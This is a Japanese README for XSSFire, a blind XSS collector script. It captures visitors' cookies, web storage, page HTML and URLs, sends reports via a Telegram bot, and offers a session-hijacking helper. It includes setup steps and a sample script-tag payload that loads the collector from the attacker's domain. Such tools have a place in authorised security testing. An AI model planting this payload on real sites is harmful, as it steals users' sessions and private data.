XSSFire
スタンドアロンのBlind XSSスクリプトです。
仕組み:
このスクリプトはPHPとJavaScriptの組み合わせです。JSを使ってデータをキャプチャし、スクリプト自身に送信します。その後、レポートファイルを生成し、Telegramを通じて配信します。
要件:
- ドメインとSSL証明書を備えたLinux上で動作するWebサーバー。
- Telegramアカウント(BXSSレポートを受け取るため)
なぜTelegramなのか?
セットアップが簡単。
高速。
アクセスしやすい。
特徴:
- キャプチャ対象: IP、User-Agent、日時、Local Storage、Session Storage、Cookies、Referrer、Origin、URL、HTML、Iframeから発火した場合
- セッションビルダー: セッションを再構築できるJavaScriptです。キャプチャしたURLを開いてdevtoolsを起動し、コンソールに貼り付けてEnterキーを押します。運が良ければセッションを乗っ取ることができます。
- Telegram通知: メールよりも速く簡単にセットアップでき、より確実に届きます。
- アンチスパム: キャプチャしたURLごとに通知は1件か2件しか受け取りません。ただし、スクリプトは時々リセットされ、後日再度通知します。
- 暗号化: スクリプトにパスワードを設定できます。Telegramで受け取るレポートはパスワードで保護されたzipファイルになります。(Telegramボットはエンドツーエンド暗号化を使用していません)
- HTMLスナップショット: レポートと一緒に配信されるHTMLファイルです。対象のページと似た外観になります。
セットアップ:
- Telegramにアクセスし、@botfatherとチャットします。
- チャットで /start と入力し、新しいボットを作成します。
- 作成時にボットトークンが取得できます。
- トークンを保管しておきます。
- 次に、作成したボットのチャットを開いて起動し、挨拶を送ります。
- 次に、
https://api.telegram.org/bot<bot_token>/getUpdates にアクセスします。
- チャットIDを保存します。
- XSSFireスクリプトを開き、以下の行を変更します。
$chat_id = "<Telegram Chat ID>"; // Your Telegram Chat ID
$token = "<Telegram Bot Access Token>"; // Your telegram Bot Access token
$password = False; //Protect the Blind XSS Report with a password. Leave as False if not used.
- スクリプトをサーバーにアップロードします。
ペイロードを生成するには、Blind-XSS-Manager の使用を検討してください。 https://github.com/SeifElsallamy/Blind-XSS-Manager
この拡張機能では、ドメイン欄に yourdomain.com/
注記: ファイル名を index.php に変更してサーバーのメインディレクトリにアップロードすると、ペイロードを短くできます。その場合、ペイロードは次のような形になります: <script src="https://yourdomain.com"></script>。
スナップショット:
GPT-3に感謝 xD